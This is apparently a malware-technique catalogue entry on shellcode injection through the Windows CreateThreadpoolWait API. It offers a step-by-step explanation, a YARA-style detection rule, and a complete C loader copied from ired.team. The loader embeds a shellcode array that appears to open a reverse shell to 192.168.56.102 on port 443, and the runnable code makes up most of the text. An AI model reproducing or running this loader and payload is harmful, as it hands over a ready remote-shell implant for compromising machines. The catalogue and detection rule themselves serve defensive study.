Shellcode Injection via CreateThreadpoolWait

Created the Sunday 19 June 2022. Updated 3 months ago.

Shellcode injection is a technique used by malware to execute arbitrary code within the context of a targeted process. One method of achieving this is through the use of the CreateThreadpoolWait function, which is a part of the Windows thread pool API.

In the context of shellcode injection, CreateThreadpoolWait is used to create a wait object that is associated with a thread pool. The malware can then use this wait object to execute its shellcode within the context of the targeted process, by passing the shellcode as a callback function to the CreateThreadpoolWait function.

Here is a summary of the steps:

The malware creates an event object with the CreateEvent function, and sets it to the Signaled state.
The malware allocates read-write-execute (RWX) memory for the shellcode using the VirtualAlloc function and writes the shellcode to this memory.
The malware creates a wait object using the CreateThreadpoolWait function and specifies the address of the shellcode as the callback function.
The malware sets the wait object using the SetThreadpoolWait function.
The malware waits for the wait object to become signaled using the WaitForSingleObject function. When the wait object is signaled, the callback function (which contains the shellcode) is executed.

Other techniques injection includes using APIs such as CreateRemoteThread, QueueUserWorkItem, and NtCreateThreadEx.

Technique Identifier

U1236

Technique Tags

Shellcode injection Process injection CreateThreadpoolWait Event object VirtualAlloc Callback function SetThreadpoolWait WaitForSingleObject

Code Snippets

Description

Original source code: https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait

The first thing the code does is allocate read-write-execute (RWX) memory for the shellcode using the VirtualAlloc function. This memory will be used to store the shellcode and execute it. Next, the code uses the CreateThreadpoolWait function to create a wait object and specify the address of the shellcode as the callback function. The code then uses the SetThreadpoolWait function to set the wait object created in the previous step. Finally, the code uses the WaitForSingleObject function to wait for the wait object to become signaled. When the wait object is signaled, the callback function (which contains the shellcode) is executed.

#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}

Detection Rules

                                    rule shellcode_injection_via_createthreadpoolwait {
  condition:
    pe.imports('VirtualAlloc') and pe.imports('CreateThreadpoolWait') and pe.imports('SetThreadpoolWait') and pe.imports('WaitForSingleObject')
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait